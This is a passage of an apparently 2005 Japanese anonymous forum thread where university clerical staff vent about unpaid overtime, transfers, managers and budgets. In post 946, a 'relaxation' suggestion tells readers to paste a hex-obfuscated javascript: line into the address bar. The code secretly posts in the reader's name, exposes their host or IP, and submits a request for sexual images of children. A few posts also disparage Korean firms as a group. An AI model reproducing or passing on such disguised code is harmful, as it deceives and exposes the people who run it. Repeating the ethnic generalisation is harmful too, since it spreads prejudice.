05/02/23 21:08:09
畝苦大は係長に報道コメントを出させるのか？
801:非公開＠個人情報保護のため
05/02/23 21:18:21
多分国営放送側が直接係長にインタビューしたものと思われ。
係長のコメントはいたって妥当なところだが、
他人を責めるのが得意な大学事務のことだから、
明日は係長祭りだな。ご愁傷さまｗ
802:非公開＠個人情報保護のため
05/02/23 21:49:54
局長、部長、課長は逃げ回ってるのか？
803:非公開＠個人情報保護のため
05/02/23 22:05:25
>791
>798
青年の家も少年自然の家も高専とあわせて基本的に大学職員と人事交流になって
いるとところが多いと思われます。ただ，最近は辞表を書かない出向の形をとってい
るところが多いんじゃないかな？
ちなみに青年の家，少年自然の家のトップである所長は，大学の事務局長同等職
になります。上に面倒な学長がいないため，結構居心地はいいみたい・・・完全な
お山の大将だもん。ただ，最近は，本省のキャリアポストになっているところもある
そうで，そういうところは色々厳しいみたいです。
なお，よく勘違いされますが，青年の家には自然の文字は付きませんのでお間違
えのないように！
804:非公開＠個人情報保護のため
05/02/23 22:45:54
>>797
一割は堅い
805:非公開＠個人情報保護のため
05/02/24 00:27:33
>>794
>自分の給料より多いんですが、先生。
>普通の会社なら余裕で背任容疑だよな。訴えたい
普通の会社ならこんなベンチャーには頼まん
悔しかったらとっとと辞めて高給取れるような民間にでも逝け
806:非公開＠個人情報保護のため
05/02/24 10:36:22
鹿以下よくやったｗ 彫金オメ
807:非公開＠個人情報保護のため
05/02/24 12:51:34
鹿児島医科大学なんてあるか？
808:非公開＠個人情報保護のため
05/02/24 13:11:27
滋賀烏賊
809:非公開＠個人情報保護のため
05/02/24 16:15:24
課長がなんたらの家の所長だってさ
810:非公開＠個人情報保護のため
05/02/24 17:54:11
age
811:非公開＠個人情報保護のため
05/02/24 19:34:02
何たらの家の長なら、「家長」にすればいいのになｗ
812:非公開＠個人情報保護のため
05/02/24 20:47:33
残業代１億円超未払い、滋賀医大に大津労基署が改善勧告
URLﾘﾝｸ(www.asahi.com)
これで、また我が社の「いちろー」さんからメールが来るのかな？
813:非公開＠個人情報保護のため
05/02/24 22:43:11
>>812
次は弟のじろーさんがメール出すらしいよ。
814:非公開＠個人情報保護のため
05/02/25 01:24:42
で、メールサーバに黒山羊を飼って出したメールを食べさせろと言われたシステム部門が困惑。
815:非公開＠個人情報保護のため
05/02/25 06:22:12
ここの庶務課長は労基法が全くわかっていないよ。
マルブンもこんなのを庶務課長にしたよな
同大学の前原義久・庶務課長は「命じていない超過勤務について
手当てを支払う必要はなく、未払いの事実はない」と説明している。
（『読売新聞』2004年12月25日付の一部）
同大庶務課の前原義久課長は「是正勧告を真摯（しんし）に受け
止め、職場環境の改善に向けて努力したい」とコメントしている。
(『朝日新聞』2005年2月23日付の一部）
816:非公開＠個人情報保護のため
05/02/25 12:58:21
入試のﾀﾁﾝﾎﾞは辛い・・・orz
817:非公開＠個人情報保護のため
05/02/25 14:13:47
漏れ宮廷卒の２７歳（無職）だけど、大学職員ってどう？
あまりおすすめじゃないみたいだけど。
仕事内容とか給料とかどんなものなのかなあ。
818:非公開＠個人情報保護のため
05/02/25 14:39:00
age
819:非公開＠個人情報保護のため
05/02/25 19:45:18
課長が馬鹿だと苦労するな
820:非公開＠個人情報保護のため
05/02/25 21:09:08
ちょんぼしても責任取らないんだろ？
大学事務最高だなw
821:非公開＠個人情報保護のため
05/02/25 21:30:00
>>816
乙
822:非公開＠個人情報保護のため
05/02/25 21:33:34
職場環境の改善の前に自分の頭の中を改善した方がいいなｗ
823:非公開＠個人情報保護のため
05/02/26 02:01:14
つーか残業代払えっての
退職金より過去２年間の未払い賃金の方が高額ときたもんだ
824:非公開＠個人情報保護のため
05/02/26 02:42:13
その課長も頭の中ではわかっているのだろうな・・・
825:非公開＠個人情報保護のため
05/02/26 02:47:24
マジで２～３人逮捕されないと尻に火がつかないと見た
826:非公開＠個人情報保護のため
05/02/26 03:34:43
この職業と同等の給料もらえるのはなんですか？
827:非公開＠個人情報保護のため
05/02/26 12:14:38
今日も休日出勤だ。
俺ってできる男だなー
828:未公開＠個人情報保護のため
05/02/26 13:34:18
学長の腹の内を見たときにすこし、戸惑った。
829:非公開＠個人情報保護のため
05/02/26 18:40:19
黒かったのか？
俺も見たことあるぞ。
形ばかりの実績を残そうと、どす黒いどころか腐臭を放っていたよ。
830:非公開＠個人情報保護のため
05/02/26 19:28:26
age
831:非公開＠個人情報保護のため
05/02/26 19:52:39
学長と教官の定年が違うのはなぜ？
832:非公開＠個人情報保護のため
05/02/26 23:23:52
>>831
そう決めたから
833:ＤＩＯ
05/02/27 01:33:23
どうも、あかんわ。周りとうまくコミュニケーション取れないし、
イメージ通りに仕事できない。
834:非公開＠個人情報保護のため
05/02/27 09:55:54
>>833
ｶﾞﾝｶﾞﾚ
みんな似たようなもんだ
順風満帆の人生なんて、そうはありえないもんさ
835:非公開＠個人情報保護のため
05/02/27 10:24:05
事務職員の国家2種以上で採用された人の中には
頭自体はかなりいいのに使い勝手悪い人が多い。
836:非公開＠個人情報保護のため
05/02/27 10:54:05
>>835
お勉強はできても、要領悪い奴は多いでしょうね
霞ヶ関に袖にされ泣く泣く大学に来た奴もいるし
そういう自分も国２技術系無い内定寸前→技術系諦め大学事務
技術系に転換できるかもと思った自分が浅はかだった
いまやりっぱなダメ職員です、ええ
837:非公開＠個人情報保護のため
05/02/27 12:00:20
DIOﾊｹｰﾝ
838:非公開＠個人情報保護のため
05/02/27 13:30:08
仕事内容に疑問を持たず、毎年度やってきたことをそのままなぞる能力、
本省や幹部どもの気まぐれな指示事項や凶漢の頼み事を、嫌な顔せずに
黙ってこなす能力、サービス残業の嵐でも文句を言わない忍従だけが
求められているわけだから、一流大出の頭なんて却って邪魔になるだけだ罠。
それなのに、ここ数年毎年、早慶だの関関同立だの地方帝大出だのを
採ってきては放置プレイでスポイル→実働人員外の若手が増大、
という同じ間違いを繰り返す人事っていったい…
839:非公開＠個人情報保護のため
05/02/27 14:13:06
>>838
人事の問題じゃないだろ。
組織の問題だ。
組織を総括してるのは人事だというなら人事だと思うが。
840:非公開＠個人情報保護のため
05/02/27 15:02:19
>>836
そんなに技官がよかったですか？ｂｙ技官より
841:非公開＠個人情報保護のため
05/02/27 15:04:08
高学歴と仕事できないとは違うような・・。
まあ期待はずれって感はするだろうが。
842:非公開＠個人情報保護のため
05/02/27 15:30:53
>>840
隣の芝ってやつだろうよ
843:非公開＠個人情報保護のため
05/02/27 16:02:17
>>839
じゃ人事だろ？適材適所の意味を知れ！
844:非公開＠個人情報保護のため
05/02/27 16:27:15
一人事担当にどれだけの人事権があると思ってんだ
人事担当は単なる死刑執行人に過ぎない
雲の上からの命令に従い、せっせとボタンを押すだけさ
845:非公開＠個人情報保護のため
05/02/27 21:12:35
人事の人に聞きたいんだけど、実際に異動割り振りする時って
何を基準にもってしてるの？他の日常業務とか何してるの？
846:非公開＠個人情報保護のため
05/02/27 21:26:01
異動についての原議の起案は誰がするんだ？？
847:非公開＠個人情報保護のため
05/02/27 21:28:48
>845
>>他の日常業務とか何してるの？
おまいの大学の事務分掌の規則でも嫁．．．．．。
っていうか、釣り？
848:非公開＠個人情報保護のため
05/02/27 21:41:19
age
849:非公開＠個人情報保護のため
05/02/27 22:08:47
誰も人事課のペーペーに責任があるなんて言ってない訳だが｡
新人の採用や配置を決めるのは部課長（総務・人事系以外も加わる場合もある）だが、
現場が判ってない彼らが、国立大学事務にどういうタイプの人間が向いてるかとか、
採った後の育成方法とかをまるで考えずにお遊びで採用、配置してるからこうなる訳で｡
850:非公開＠個人情報保護のため
05/02/27 22:16:14
確かに民間企業みたいにOJTとかなくで人材育成する気がないわな。
ていうか、なんのための採用試験であり面接なんだ？？？？？
851:非公開＠個人情報保護のため
05/02/27 22:19:53
新規採用以外はどうやって異動を決めているの？
852:非公開＠個人情報保護のため
05/02/27 23:06:00
>>851
適当｡
人事が用意した当初案では、毎年「転出入、昇任人事に伴う異動のほか、×年以上
同一ポストにいる者の異動など、必要最小限の異動に留める」と明記してあり、
大体その原則通りになっているのだが、その後各部課長の好き嫌いや
使えない人材の押し付け合いで滅茶苦茶にされる｡
その結果、帳尻合わせで明らかに不適格な部署への異動とか、１～２年で異動
させられてばかりいる人と５～６年も同一ポストにいる香具師とかが必ず出る｡
853:非公開＠個人情報保護のため
05/02/27 23:30:46
>>835
国立大に最近の２種採用はオーバースペックだよ
いまの業務じゃ正職員の２５パーセントくらいは、アルバイトに
代替可能じゃないか
と、２種採用が申しております
854:非公開＠個人情報保護のため
05/02/27 23:47:30
ほんとに大学事務の大卒Ⅱ種採用者は、かわいそう。民間で大卒３０歳くらいなら、大きな仕事任され、部下（後輩？）も４，５人くらいいるよな。
負担行為書（いまもあるの？）書いたり、旅費計算・・・・。課内には、後輩が入ってこないので、いつまでも下っ端。つまらんだろうな。
855:非公開＠個人情報保護のため
05/02/27 23:54:48
役員の報酬を改訂？実績もあげてないくせに何をいう。
指定替するとしたら、いつ？もう指定職じゃないのだから、関係ありません。
改訂してほしいなら、実績をあげろよ。
それよりも、未払い彫金はらえーーーー。
と、いってるらしいよ。
856:非公開＠個人情報保護のため
05/02/28 00:00:31
>>854
でも若いパートの子や派遣のねーちゃんは食い放題だよ。
３年で異動してりゃ、ホトボリもさめるしな。
857:非公開＠個人情報保護のため
05/02/28 00:23:45
大学事務って、「職員を育てる」って認識がほとんど無ぇからな。
しかも「効率化」「投資」って感覚も無い。金も権限も無い。
俺の場合仕事も大部分パソコンとLANを活用すれば速攻で済む
ルーチンワークを延々。サビ残で。そんなのうちだけだと思いたいが・・・
かなり具体的に案を出して「なんとかして」って上に言ったら「金が無い」。
おまけに病院だからDQNな医者や看護師にゴミ扱いされ、
もういやー。俺マゾじゃないんだから言葉攻めは勘弁して。
でも３０超えてこれといったスキルもキャリアも無いので
転職もかなり無理。勧奨退職食らうまで居座ってやる。
もうロヒプノール飲んだし寝ます。すいません、支離滅裂で。
858:非公開＠個人情報保護のため
05/02/28 07:44:33
>>857
漏れもほぼ似たような状況だ
あんたにゃ親近感すら覚えるよｗ
腐らず行こうぜ
出世競争をしなくていい分だけ、比較的楽な商売さ
859:非公開＠個人情報保護のため
05/02/28 13:02:26
どうせ待遇なんかこれから先、良くなるわけないし、
所詮生活していくための手段と割り切って考えて、
趣味なりなんなりのプライベート充実させたほうが
いいんでない？
860:非公開＠個人情報保護のため
05/02/28 17:17:59
自分のしたくない仕事（ケースワーカー等？）をしなければならないかもしれない
田舎市役所と、接客のない大学事務ならどちらがいいと思いますか？
861:非公開＠個人情報保護のため
05/02/28 18:59:28
そりゃ大学だろ
862:非公開＠個人情報保護のため
05/02/28 20:49:00
接客のない大学事務？
どこでもＤＱＮ教官やＤＱＮ課長の相手をせにゃならんぞ
863:非公開＠個人情報保護のため
05/02/28 20:50:16
客は一見さんだが
ＤＱＮ教官やＤＱＮ課長はずっとだ。こっちの方が困る
864:非公開＠個人情報保護のため
05/02/28 20:51:21
>>857
禿同
人は勝手に育つとおもってるからな、馬鹿どもは
865:非公開＠個人情報保護のため
05/02/28 21:35:28
>>864
微妙に違う。
勝手に育つ人種もいる。
しかし、彼らは最初から大学を選ばないか、辞めていく。
866:非公開＠個人情報保護のため
05/02/28 21:36:58
つーかさ、若い奴が逃げるだけならまだしも、
牢記やマルＫに逝かれたらどうなるか、
上は想像したことも無いんかな。
867:非公開＠個人情報保護のため
05/02/28 22:22:26
想像してた以上にこの職場は辛い。
おまけに丸文課長があんなに人間できてない人だとわ。
仕事やる気うせる。部長も課長補佐も丸文課長には
へーこらしてる。
部長も丸文なのになぜ、へーこらするのか疑問である。
丸文には課長クラスで使えない奴のブラックリストが存在すると聞いたことあるが・・・。
868:非公開＠個人情報保護のため
05/02/28 22:39:36
民間からこっちに転職してかなりはげしく思うんだが。。。。。。
ここはほんとに人材育成という概念がないよなあ
「できないお前が悪い」とか採用一年目の俺に言われてもなあ。。。。
869:非公開＠個人情報保護のため
05/02/28 22:57:06
>>853
確かにな。
憲民行に政治学、行政学、経済学とそれなりに難しい試験通ってきて、
あの仕事ではなあ。
煽りではなく、大学事務なんて現状では高卒の仕事だろうに。
870:非公開＠個人情報保護のため
05/02/28 23:06:58
高卒の仕事はいえてるっていうか高卒の先輩方おおすぎ！
あと、何も教えてくれないくせに、怒り散らすな！くそ課長！
871:非公開＠個人情報保護のため
05/02/28 23:16:08
>>866
牢記やまるＫに逝くって転職で？
872:非公開＠個人情報保護のため
05/03/01 07:53:25
未だに方言が理解できない…
873:非公開＠個人情報保護のため
05/03/01 08:18:58
>>867
>部長も丸文なのになぜ、
>へーこらするのか疑問である。
マルブン出身の部長はマルブンでよーっぽど使えなかった香具師らしいぜ。
>>870
文句があるなら民間に逝け
一流どころじゃ高卒なんて天然記念物だぜ
874:非公開＠個人情報保護のため
05/03/01 10:34:49
>>873
＞マルブン出身の部長はマルブンでよーっぽど使えなかった香具師らしいぜ。
マルブン課長＞マルブン部長＞普通の課長補佐＞係長＞主任＞非常勤職員＞アルバイトねーちゃん＞震災の私
＞文句があるなら民間に逝け
＞一流どころじゃ高卒なんて天然記念物だぜ
民間にいけないかたココにいるんじゃないかな？
この職場は高卒や大卒に大きな意味はたいしてないように思われる。
違うのは給料の額だけと思うけど。
875:非公開＠個人情報保護のため
05/03/01 10:35:52
>>872
本省からくる方の標準語が嫌い。体が受け付けない。
876:非公開＠個人情報保護のため
05/03/01 12:34:54
>>873
オレの姉は高卒でトヨタの本社に入ったZE。
今は部長秘書をやってるらすぃ。
877:非公開＠個人情報保護のため
05/03/01 12:36:19
恩名はまた別
878:非公開＠個人情報保護のため
05/03/01 14:56:42
この仕事って給料どのくらいですか？
身内養えるくらいには貰えます？
879:非公開＠個人情報保護のため
05/03/01 15:40:44
今日労働組合というものから非常勤職員の待遇改善に関するアンケート依頼が来た。
（自分は非常勤）
待遇改善よりも大学事務そのものについて異議申し立てがしたいと思っている。
この際だから首になる勢いで書いちゃおうかな。
880:非公開＠個人情報保護のため
05/03/01 16:16:08
書くべし、書くべし
881:非公開＠個人情報保護のため
05/03/01 17:54:31
>>874
ついでに同年代なら給料の額まで大して変わらんし。
>>877
恩名って顔とｘｘｘが良ければ学歴はあまり問われないし。
882:872
05/03/01 19:44:23
>>875
マルブン出身ではなく他地域出身
なのでこちらも方言
意志の疎通が難しい…
883:非公開＠個人情報保護のため
05/03/01 21:19:21
確かに、高卒か三流大卒程度の仕事しかない職場に入った漏れらが悪いんだよな…
人生の敗北者として上に逆らわず、文句を言わず、遅れず休まず働かずで生きていきますよ、ええ。
884:非公開＠個人情報保護のため
05/03/01 21:19:32
内示いつかな？
今年は人事課で全事務系職員ヒヤリングを行ったので、
本人の希望にできるだけ添う人事してくれることと思うのだが・・・
いざふたをあけたらまた本部系、学部系、学務系、区分け人事になる予感がするのは私だけでしょうか？
答えて人事係 殿
885:非公開＠個人情報保護のため
05/03/01 21:41:48
永遠の前例主義♪
シッポの振り方と
ハラの見せ方と
噛み付き方、吠え方は
キャンパスを彷徨う
野良犬に習えば万事ＯＫさ
886:非公開＠個人情報保護のため
05/03/01 21:44:05
ねぇ～ニッポン包装じゃなくて
うちの大学買ってよ～ホリエモ～～ン
887:非公開＠個人情報保護のため
05/03/01 21:50:19
やっと「使えないヤツ」って分かってもらえたyo
888:非公開＠個人情報保護のため
05/03/01 22:35:19
なんで人事課の人って課内異動だけで、そとの部署に異動にならないの？教えて！
889:非公開＠個人情報保護のため
05/03/01 22:53:16
しらんわ
890:非公開＠個人情報保護のため
05/03/01 23:04:15
人事課内で人材を純粋に培養してるんだろ？よくあることだ。
891:非公開＠個人情報保護のため
05/03/01 23:09:41
荷物が多くて引っ越すのが大変なんだろｗ
892:非公開＠個人情報保護のため
05/03/01 23:18:05
人事の奴って平からして態度でかいよな爆！
893:非公開＠個人情報保護のため
05/03/01 23:23:58
そりゃ組織のお荷物相手じゃ態度もでかくなるでしょうな
894:非公開＠個人情報保護のため
05/03/01 23:32:34
やっぱ人事系職員が最高権威なのね
895:非公開＠個人情報保護のため
05/03/01 23:35:51
でも人事権は人事課がもってるわけじゃないんだよねえ、、、、
896:非公開＠個人情報保護のため
05/03/01 23:35:56
>873
>マルブン出身の部長はマルブンでよーっぽど使えなかった香具師らしいぜ。
そりゃちっと違うだろ。ノンキャリなら
マルブ→大学課長→マルブ補佐主査→大学部長
はそれなりに優秀。
マルブ→大学課長→人工衛星→大学部長
は確かにハズレも多いが。
キャリアで大学部課長でくるのは、まーキャリアの世界じゃ使えなかった奴
（がほとんど）。
897:非公開＠個人情報保護のため
05/03/01 23:44:06
>>895
誰がもってるの？？
>>896
人工衛星！ばかうけ！笑
898:非公開＠個人情報保護のため
05/03/02 00:22:52
忘れ物ですよ。
つ常識
つ向上心
つ採用された頃の期待に胸を膨らましたあなたの心
899:非公開＠個人情報保護のため
05/03/02 01:39:32
人事の決定権を持っているのは課長・事務長ですよ
人事課は、資料（経験年数や係在籍年数、本人の希望など）を用意して、補佐が各部局からの要望（取り捨て）を取り纏めるだけ
文句なら課長や事務長に言えｗ
900:非公開＠個人情報保護のため
05/03/02 03:21:42
>>879
マジで非常勤ならさっさと辞めて次探した方がいいよ。
うちは非常勤の任期満了後は補充はせず派遣に置き換えつつある。
多分良心から出た文だとは思うけど、この界隈には深入りしないのが幸せだよ？
901:非公開＠個人情報保護のため
05/03/02 06:29:15
>>899
各課長や事務長のエゴを排除して、あるべき人事のあり方
を追求するのが人事課の仕事だわ。それもできないなら
ガキの仕事。ヒトゴト課といわれるゆえん。
902:非公開＠個人情報保護のため
05/03/02 07:15:29
>901
人事課に裁量権持たせると、何も知らないのにかき回されそうで
ちょっと怖いな。今より非道い人事異動が行われそう。
そもそも成績が数字で表されず、ほぼ１００％風評に頼ってる世界
だもんなぁ。
903:非公開＠個人情報保護のため
05/03/02 08:48:21
>>892
うちじゃ快慶の方がｗ
最末端は謙虚だが主任以上は傲慢
>>900
良心というより、正職員との待遇の差に対する不満から出た文だと思われ。
正職員と全く同じ仕事なのに時給制ボーナス無しじゃ洒落にならん罠。
>>901
役所（大学）じゃ人事はそれほど力持ってないからなぁ
904:非公開＠個人情報保護のため
05/03/02 10:47:29
うちの大学じゃ、課長や事務長よりも各部署の筆頭課の課長補佐が人事権を
もってるっぽい。丸文課長は、どうせ２，３年で異動するから人事には口を
出さないらしい。そして課長補佐が裏で集まって異動を決めて、人事課は
それをもとに忠実に実行するだけで、人事課自体に力はない。
905:非公開＠個人情報保護のため
05/03/02 20:06:58
他大学への転出希望出してるんだけど来週あたりに内示なかったらもう他大学への異動なし確定かね。
906:非公開＠個人情報保護のため
05/03/02 20:20:04
普通は３月頭までには処理するだろ。
よってもう既に確定かと。
907:非公開＠個人情報保護のため
05/03/02 22:19:57
おつかれちゃ～んｗ
908:非公開＠個人情報保護のため
05/03/02 22:26:01
>>888
今さら学部になんか行きたくねえよ！と人事課係員が申しておりました。
909:非公開＠個人情報保護のため
05/03/02 22:29:17
学部で働く事務職員は本部事務局事務職員からさげすまれています。
910:非公開＠個人情報保護のため
05/03/02 22:32:28
だからいつまでたっても学生のための大学ができないのです
911:非公開＠個人情報保護のため
05/03/02 22:37:12
藻前ら個人情報保護法対策は大丈夫でつか。
912:非公開＠個人情報保護のため
05/03/02 22:55:38
事務職員全員、自分とこの大学の学生のことなんか微塵も考えてないだろ？
だいたい自分のことで精一杯だし。働くのは自分のためだしな。
913:非公開＠個人情報保護のため
05/03/02 22:56:25
>>909
学部学生係から財務部に異動になったバカデブ係員なんぞは、
ふん反り返って仕事してますよ。アホかお前は！
914:非公開＠個人情報保護のため
05/03/02 23:05:19
荒れてきたな
915:非公開＠個人情報保護のため
05/03/02 23:09:09
>>913
そりかえって椅子ごと倒れて、腰の骨でもいわしゃ、ラッキーと思えｗ
916:非公開＠個人情報保護のため
05/03/02 23:15:15
>>911
うちの総務は法律の読み方も知らないことが判明いたしますた。
917:非公開＠個人情報保護のため
05/03/02 23:17:31
法律学部出身でも読めない奴いるんだし、おおめにみたら？
918:非公開＠個人情報保護のため
05/03/02 23:39:11
>>913
> 学部学生係から財務部に異動になったバカデブ係員
私もその口ですが（痩せてますけど）、一刻も早く古巣に帰りたいです。
大学でしかできない業務に携わりたいです。
「親切丁寧だけど、学生のルール違反には厳しく対応」というスタンスで
仕事をするのが気に入っていたんです。
入学式も卒業式も知らない間に終わってて、近所の飲み屋の混み具合で
学生の夏休みを知るような生活は、もう嫌です。
たいしゃくたいしょーひょーとやらを完成させるために、未だにバグが
無くならないシステムと格闘する不毛な日々と、早くおさらばしたいです。
事務局の会計職なんぞ、薄ら笑いを浮かべながら学部の職員を「指導」する
お前らだけでやってくれ！！
919:非公開＠個人情報保護のため
05/03/02 23:41:54
せっかく大学に就職したんだから、学生サービスに従事したい職員ってどれくらいいるの？
920:非公開＠個人情報保護のため
05/03/02 23:43:33
女学生にサービスされたひ
921:非公開＠個人情報保護のため
05/03/02 23:46:48
意外とかわいい女子学生に遭遇しないよな・・・国立大学って。。。
922:非公開＠個人情報保護のため
05/03/02 23:54:33
>>909
本部も学部も、所詮同じ穴の狢なのにね。
923:非公開＠個人情報保護のため
05/03/03 00:33:58
>>922
所詮他省庁から見たら（元）へっぽこ出先機関なんだから仲良くすべきなんだよな
924:非公開＠個人情報保護のため
05/03/03 08:02:49
>>918
そのシステムって、ニッ○イ○ムじゃないっすか？
うちは、ボロボロです。
そんなシステムを中心的に導入したヤツは異動（課長昇進）で
逃げ出そうとしているぞ！
925:非公開＠個人情報保護のため
05/03/03 08:32:25
>>911
URLﾘﾝｸ(itpro.nikkeibp.co.jp)
926:非公開＠個人情報保護のため
05/03/03 08:36:00
>>918
甘えんなこのバカ。
>「親切丁寧だけど、学生のルール違反には厳しく対応」というスタンスで
>仕事をするのが気に入っていたんです。
じゃあ教授や業者、職員同士でもそのスタンスでやればいい事だ。
なぜ、学生にこだわるのか。
発言力が無いからか？
後腐れないからか？
>入学式も卒業式も知らない間に終わってて、近所の飲み屋の混み具合で
>学生の夏休みを知るような生活は、もう嫌です。
お前のアンテナが低すぎ。
大学の動きくらい、どの部署にいても知る努力くらいをしろ。
飲みに良く時間があるくらいなら
それくらいは出来るんじゃないか？
>事務局の会計職なんぞ、薄ら笑いを浮かべながら学部の職員を「指導」する
>お前らだけでやってくれ！！
お前がやれ。
しっかり給料もらってるんだろうが。
嫌な仕事は他人に振りたい、って事か？
まったく、恐れ入った社会人様だぜ。
これだから「学務は。。」って陰口叩かれんだよ。
927:非公開＠個人情報保護のため
05/03/03 09:12:48
× しっかり給料もらってる
○ ちょっぴり給料もらってる
928:非公開＠個人情報保護のため
05/03/03 12:32:18
× ちょっぴり給料もらってる
○ ほんのり給料もらってる
929:非公開＠個人情報保護のため
05/03/03 12:38:01
安く調達するため韓国系の会社に依頼したのはいいが
バグやら故障やらがひどくて、結局当初予算以上の金がかかってしまった。。。。。
おまえら韓国系はやめとけ
930:非公開＠個人情報保護のため
05/03/03 12:41:41
>>929
もはや一般常識のはずですが・・・
931:非公開＠個人情報保護のため
05/03/03 13:15:25
>930
うちの大学は韓国や中国との交流が深い教授が多いから
多分、同じような運命をたどるだろうな。
世間の常識は大学にとって未知の情報。
932:非公開＠個人情報保護のため
05/03/03 21:44:53
age
933:非公開＠個人情報保護のため
05/03/03 22:24:02
× ほんのり給料もらってる
○ ちゃっかり給料かすめとってる
いずれ給料出ないが残業頼むわ，という数年先が楽しみです。
934:非公開＠個人情報保護のため
05/03/03 22:56:09
そろそろ武花鳥の異動決定の時期だがなんか動きある？
935:非公開＠個人情報保護のため
05/03/03 23:28:22
ｻｶﾉﾎﾞﾘ昇格ｷﾀ━━━(ﾟ∀ﾟ)━━━!!!!
初任給ﾁｮｳｾｰ手当2年追給ｷﾀ─ｗｗﾍ√ﾚｖｖ～(ﾟ∀ﾟ)─ｗｗﾍ√ﾚｖｖ～─ !!
いい加減に汁!・・・・・・・・・orz
936:非公開＠個人情報保護のため
05/03/03 23:36:07
昨年度昇格させることを誤って放置していたということ？
年度またがって遡及したように読めるけど
937:非公開＠個人情報保護のため
05/03/03 23:42:11
あのさ・・・・、
補助金（運営費交付金）毎年１％減で
ドンドン財政は苦しくなるわけだし。
つぶしが効かなそう（学務など）で
将来ここの職員は大変そう・・・・。
938:非公開＠個人情報保護のため
05/03/03 23:43:18
本省に池
939:935
05/03/03 23:46:25
>>936
昇格は1月1日ですが人数多い・・・12月に特ｼｮｰで半年以上遡及やったばっかりなんだがなぁ
初任給はなんか部局の椰子が経験年数ずっと数え間違えてたとかで・・・
他にも講師の遡及とかﾒﾝﾄﾞｰなのがﾜﾝｻｶ出てきたYO
つーか講師の遡及ってそもそも今の窮余ｼｽﾃﾑでは対応してないんだけどな
他の大学でも講師の遡及なんかやってるのか実は聞いてみたひ・・・
940:非公開＠個人情報保護のため
05/03/03 23:53:32
採用時の間違いが今頃わかるのだな・・・・・・・
941:非公開＠個人情報保護のため
05/03/04 00:35:48
なんだかんだいって
今年もうちの部署の予算は余っているわけだが・・・・。
で、もって無理やり消化しようとしてるわけだが。
いざとなったら普通に予算減らせばやってけるんじゃない？
942:非公開＠個人情報保護のため
05/03/04 00:39:54
予算使い切らないと評価下がるの？
それとも制裁来るの？
943:918
05/03/04 01:08:59
>>926
愚痴に対する叱咤激励と受け止めますが…
> じゃあ教授や業者、職員同士でもそのスタンスでやればいい事だ。
> なぜ、学生にこだわるのか。
学生対応って、事務とはいえ時には「教育」を意識して対応しなきゃ
ならんことがあるから特殊だと思いますよ。厳しく叱った学生が、学内で
気さくに挨拶してくれた時なんて、やっぱ嬉しいなあ。
> お前がやれ。
> しっかり給料もらってるんだろうが。
> 嫌な仕事は他人に振りたい、って事か？
学部の年配者に対して、偉そうに応対する係員に虫酸が走るんです。
（これが珍しくない…）
財務の仕事はそんな勘違いエリート君に任せるから、俺を窓口に
帰してくれ！と…
> まったく、恐れ入った社会人様だぜ。
> これだから「学務は。。」って陰口叩かれんだよ。
出身学部よりすでに現職が長く、既に「財務の人」と見られてます。
何度異動を希望しても通らないのは珍しくないんだろうけど、
もうちょっと適正を考えて人員配置して欲しいよ。
>>924
そこじゃないけど、ボロボロです。
バグを直すたびに新たなバグを呼ぶという…
944:非公開＠個人情報保護のため
05/03/04 02:15:26
やっぱりガクムはガクムか・・・。みんながみんな、ヤリガイがある仕事をしてるわけではないと思うが。オトナだったら、歯をくいしばらなきゃならない時もあるさ。それが例え自分がやりたくない事だとしても、な。
945:非公開＠個人情報保護のため
05/03/04 02:23:57
つーか、事務屋風情に
被教育を期待する学生なんかいねーよﾜﾗ
なに勘違いしてんだあ？
所詮はたかが小役人崩れの分際で？
946:非公開＠個人情報保護のため
05/03/04 03:16:55
息抜きにでもどぞー
（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414
7452e76616c75653d275c75333045445c75333045415c75373533425c75
353043465c75333034465c75333036305c75333035355c7533303434273
b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+=
'%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
２、
改行を外して１行にする。
３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
４、
Enterを押す（もしくは「移動」をクリックする）。
947:非公開＠個人情報保護のため
05/03/04 05:19:52
今頃広大は蜂の巣をつついた騒ぎなのかなぁ･･･
家宅捜索では朝３時４５分ってあったけど。
一体どこから漏れたことやらｗ
URLﾘﾝｸ(headlines.yahoo.co.jp)
用途指定寄附金収入として受け入れたらよかったのにね。
948:非公開＠個人情報保護のため
05/03/04 05:42:58
>>942
大学としての話か、学内での話かによって変わってくるかと思うが
大学として余れば、経営努力認定→目的積立金。
学内で同様のルールがあれば、次年度の部局予算配分で配慮されるかも試練。
というか、学内でも部局の経営努力に対するインセンティブを与えないと、
従来どおり年度内に予算を使い切ることしか考えない罠。
経営努力であれ何であれ、予算が余るということは、
世間的には、より少ない予算で教育研究ができるということになるから、
長期的には効率化係数分以上の交付金減につながる希ガス・・・
漏れは財務畑ではないので、間違ってたら指摘よろ
949:非公開＠個人情報保護のため
05/03/04 05:49:05
追加。
経営努力と認められなければ、
本来行うべき教育研究を実施していないという評価になるな・・・
950:918
05/03/04 08:24:29
>>944
目の前の仕事に歯を食いしばる
↓
評価される
↓
財務貼り付け
状態だよ。。。
愚痴くらい言わせろ。
951:非公開＠個人情報保護のため
05/03/04 08:48:58
age
952:非公開＠個人情報保護のため
05/03/04 13:44:29
どの職員も学生サービスのことなんか考えるか！
あと、お客様とも考えるか！
953:非公開＠個人情報保護のため
05/03/04 14:26:26
>>950
まあ気持ちは判るが、もう学務には戻れないじゃないかな？
人事なんて結局は「個人」より「組織」を重要視するもんだ。
君が内心でどう思っていようが、
有能な人材が評価に値するほど働いてくれてる、というのは
「組織」側から見ると、理想的な人事異動を行ったと言えるんじゃないかな。
まさに、「適材適所」ってやつだ。
君の学務の後任も、君と同じように遣り甲斐を感じているだろう。
後進に道を譲ってあげてもいいんじゃないかい？
954:非公開＠個人情報保護のため
05/03/04 17:34:07
学務から系列の違う異動させられたら戻るはまず無理。
955:非公開＠個人情報保護のため
05/03/04 18:57:13
age
956:非公開＠個人情報保護のため
05/03/04 18:57:32
経営協議会とかの学外委員に払う謝金なんすけど
今まで所得税通達28-7で，
○給で1万円以下課税しなくてOKだったじゃないすか。
あれって，法人になっても適用でいいもんなんすかね？
誰か知ってる人います。
もしダメだら，どう課税するか教えてくれたら
めっちゃめちゃうれしいんすけどー。
957:非公開＠個人情報保護のため
05/03/04 19:55:14
>>956
??????
通達だろうがなんだろうが
所詮所得税法２０４条に従い
